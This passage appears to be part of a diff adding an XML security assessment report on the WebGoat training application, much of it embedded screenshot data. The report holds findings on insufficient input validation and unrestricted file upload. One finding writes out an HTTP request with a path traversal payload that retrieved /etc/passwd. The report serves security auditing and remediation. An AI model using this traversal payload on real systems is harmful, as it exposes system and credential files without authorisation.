ptHNSc16JUQnRnmSphEPh1xO8v76nVOj2e95cbr2jnvhevLtUM4MdQgAIGrCWwRTu3tifvJujIIR7b9zcVhE8XiDB3nE2uWa/vM8RUNnj6X0TAc5e8Ip4qo6Ws5yt3N0+VWzTXqg4qIVTmoujq5ZXmN9nfqG9XSiWdGqGT7qfc+q1P7HmR5q/5Tdbz6sGU/CEDgHQS2CKe7oFGi4C5xfjKO3Yyq/qv2FXY7fO/wWckpEyizftx1d8n9LnG43LCDAASeTQDh9Oz6vS76pw3Bp8X7loaJbtHekh95QAAC9yXwauF0X+xEBgEIQAACEIDAEwk8UjjxKf+erXamLmfWKhrKt3qu/M88v2rPM/uotdlztXbEbGbN6q8qz8Yw0wusgQAEnkXg8cJp90E38u98TVCNq7JPu3/0y7N9G/ZrdrRpm8OK/FfFqGJRz1fFsXrIO3HtrMlqbmf9nV3v8MQGAhCAAMIp6YGRKOkP50zwuO1V3ac6IKIY3fhcu9khXc3HjefHzvHt2FT2VLZX7rezJivzWOFrhQ9VO55DAAIQ2CacRrcyo1uP7PYmenYckNEtihI36nk7cJVt9NwVK20u2Y1EZQCqmJ3bqCvqcsSR5TbKpReafT8ojqP1K/Jt8+n3WBHTihgjdqOe6GOucOtrmsXeC9zovVZ8nV4Z+Yj6T8XB+IAABL6TwBbhFH3yUwPdHaBKRGSixRE0bhyjA38kBqKfOXmMBrA60KMc71yXWUZHDap1VUImOg5GgqDiS70DDoes7872ZL9+9O9OjLPvkNo/4+fuucLHd44LsoYABP46o3ZgiD5tq6Exc/BFYmCUl2OrYmwHdZuns27HgM0GW8RAxeoOluqQdmqi9nYEUjbYnfWjGFqxqsRxJmwj3z2bSo0UsyxetyZVbu67rITSKpHoxuPa7Tg38QkBCDyDwBbh1B7UlYPItc3sMuyucOoHX7bueDZao9Zl+6jBmYkwp/Vc1qsGlzOgnSHaClclYCIOreBVe7qixBEnTj9koi+quRuj2/+rubnxObm7vly7ivh3+DnvHjYQgMCzCWwVTpWhW7FVwin7dOx8cnZFiRqEfWtU7GcPfiUERsNJiTRXZFXr4tQiYlbdK6vFLOtq/Grwupx3viurYnRzOcsw2mdFTdV78eyjn+ghAIFZAluE0/GJXh08zvPDVyZmehvH7xlxNIrJEUkV4dTerETDJYpD2Z/lU6mvO9j6eoz2qOw7eiFm17frlGCL6pYJQLfHnXfAqW21Jhk3h2kUU8ZkZa6V9yGrb/b+zh7ArIMABJ5HYItweh4GIr6awM4htNP3LKc7xuSI/dl8nXV3YXKXOBxm2EAAAp8n8H8xFjVj0EmWLwAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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